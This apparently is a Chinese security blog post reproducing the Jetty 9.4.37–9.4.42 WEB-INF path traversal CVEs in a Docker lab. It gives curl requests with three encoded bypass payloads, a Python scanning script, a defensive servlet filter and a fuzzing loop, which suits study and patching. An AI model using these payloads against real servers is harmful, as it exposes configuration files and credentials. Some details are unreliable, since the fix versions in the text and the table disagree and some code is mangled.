Jetty 9.4.37-9.4.42 路径遍历漏洞复现:3种Payload绕过修复读取WEB-INF

发布时间:2026/7/8 20:44:16

Jetty 9.4.37-9.4.42 路径遍历漏洞复现:3种Payload绕过修复读取WEB-INF Jetty路径遍历漏洞深度解析从漏洞原理到实战绕过技巧漏洞背景与影响范围Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器在开发和生产环境中被广泛使用。2021年曝光的CVE-2021-28164和后续的CVE-2021-34429漏洞链暴露了Jetty在处理URI规范化过程中的严重缺陷允许攻击者绕过安全限制访问WEB-INF目录下的敏感文件。受影响版本范围9.4.37 ≤ Eclipse Jetty ≤ 9.4.4210.0.1 ≤ Eclipse Jetty ≤ 10.0.511.0.1 ≤ Eclipse Jetty ≤ 11.0.5这些漏洞的核心在于Jetty对RFC 3986规范的实现缺陷。根据RFC标准URI中的.和..应被解释为路径层次结构中的相对引用并在解析过程中被移除。Jetty在9.4.37版本中为符合该规范引入了新的URI处理逻辑却意外打开了潘多拉魔盒。漏洞原理深度剖析URI规范化机制缺陷Jetty的漏洞根源在于其URI规范化处理流程存在逻辑漏洞。当服务器接收到包含特殊编码的URI请求时解码阶段Jetty会先对URL编码字符进行解码规范化阶段然后应用路径规范化规则处理.和..安全检查最后验证路径是否合法问题出在规范化阶段没有考虑多种编码形式的攻击向量。攻击者可以通过精心构造的编码字符绕过安全检查GET /%2e/WEB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080三种有效Payload的运作机制1. URL编码绕过/%2e/%2e是.的URL编码形式解码后形成合法路径/./WEB-INF/web.xml规范化处理时./被保留而非移除2. Unicode编码绕过/%u002e/%u002e是.的Unicode编码Jetty支持非标准的%uXXXX编码格式解码后同样形成/./结构3. 空字节截断/.%00/%00代表空字节部分Java文件系统API会截断空字节后的内容导致安全检查只看到/.而忽略后续路径技术细节这三种Payload在Jetty不同版本中的效果有所差异9.4.40修复了%2e方式但未处理其他两种直到9.4.43才完全修复。漏洞环境搭建与复现Docker漏洞环境快速部署使用以下命令启动包含漏洞的Jetty 9.4.40环境docker run -d -p 8080:8080 vulhub/jetty:9.4.40验证环境是否正常运行curl http://localhost:8080 # 应返回Jetty欢迎页面分步复现过程正常访问测试应返回404curl -v http://localhost:8080/WEB-INF/web.xml使用%2e绕过CVE-2021-28164curl -v http://localhost:8080/%2e/WEB-INF/web.xml使用%u002e绕过CVE-2021-34429curl -v http://localhost:8080/%u002e/WEB-INF/web.xml使用空字节绕过curl -v http://localhost:8080/.%00/WEB-INF/web.xml漏洞影响版本对照表Jetty版本CVE-2021-28164CVE-2021-34429修复版本9.4.37受影响受影响-9.4.39已修复受影响首个修复9.4.42已修复受影响-9.4.43已修复已修复完全修复高级利用技巧WEB-INF目录结构解析典型的Java Web应用WEB-INF目录包含WEB-INF/ ├── web.xml - 应用部署描述符 ├── classes/ - 编译后的Java类文件 ├── lib/ - 依赖的JAR库 └── tags/ - 自定义标签库敏感信息价值评估web.xml数据库连接字符串、安全约束配置classes/可能包含业务逻辑和硬编码凭证lib/暴露使用的框架和组件版本自动化探测脚本示例import requests import urllib.parse TARGET http://target:8080 PATHS [WEB-INF/web.xml, WEB-INF/classes/com/example/Config.class] PAYLOADS [ /%2e/, # URL编码 /%u002e/, # Unicode编码 /.%00/, # 空字节截断 /a/b/..%00/ # 嵌套路径变种 ] def check_vulnerability(): for path in PATHS: for payload in PAYLOADS: test_url TARGET payload path try: r requests.get(test_url, timeout5) if r.status_code 200 and xml in r.headers.get(Content-Type,): print(f[] Vulnerable: {test_url}) return True except Exception as e: print(f[-] Error testing {test_url}: {str(e)}) return False防御措施与修复方案临时缓解方案对于无法立即升级的系统可通过以下方式降低风险添加安全过滤器public class PathTraversalFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String path ((HttpServletRequest)request).getRequestURI(); if (path.contains(%2e) || path.contains(%u002e) || path.contains(%00)) { ((HttpServletResponse)response).sendError(403, Forbidden); return; } chain.doFilter(request, response); } }修改jetty.xml配置Configure idServer classorg.eclipse.jetty.server.Server Call nameaddBean Arg New classorg.eclipse.jetty.server.handler.InetAccessHandler Set nameblack Array typeString Item/Item /Array /Set /New /Arg /Call /Configure永久修复方案版本升级路径9.x用户升级至9.4.4310.x用户升级至10.0.611.x用户升级至11.0.6升级命令示例# 查看当前Jetty版本 java -jar start.jar --version # Maven项目升级依赖 dependency groupIdorg.eclipse.jetty/groupId artifactIdjetty-server/artifactId version9.4.43.v20210629/version /dependency漏洞挖掘方法论中间件漏洞研究框架协议规范分析深入研究RFC 3986 URI规范对比不同服务器实现差异编码转换测试矩阵编码类型测试字符预期行为URL编码%2e应被拦截Unicode编码%u002e应被拦截双重编码%252e应被拦截边界条件测试超长路径1024字符混合编码组合特殊字符组合如/.;/自动化Fuzz测试使用Radamsa生成变异测试用例echo /WEB-INF/web.xml | radamsa --count 100 --output testcases/%n.txt然后批量测试for file in testcases/*; do curl -v http://target:8080/$(cat $file) done延伸思考与研究方向Java Web容器安全共性Jetty漏洞反映出的几个Java Web容器共性问题URI解析一致性各容器对规范实现存在差异编码处理复杂性多层解码导致安全边界模糊默认安全配置过度宽松的默认权限设置未来研究方向建议语义化漏洞检测基于AST分析URI处理逻辑构建路径规范化模型差分测试框架对比不同版本/容器的行为差异自动识别安全修复引入的回归机器学习应用训练模型识别恶意URI模式异常检测监控可疑访问在实际渗透测试中这类路径遍历漏洞往往能打开突破口配合其他漏洞形成攻击链。建议安全团队将中间件漏洞扫描纳入常规安全评估流程特别关注版本升级后的配置兼容性问题。

相关新闻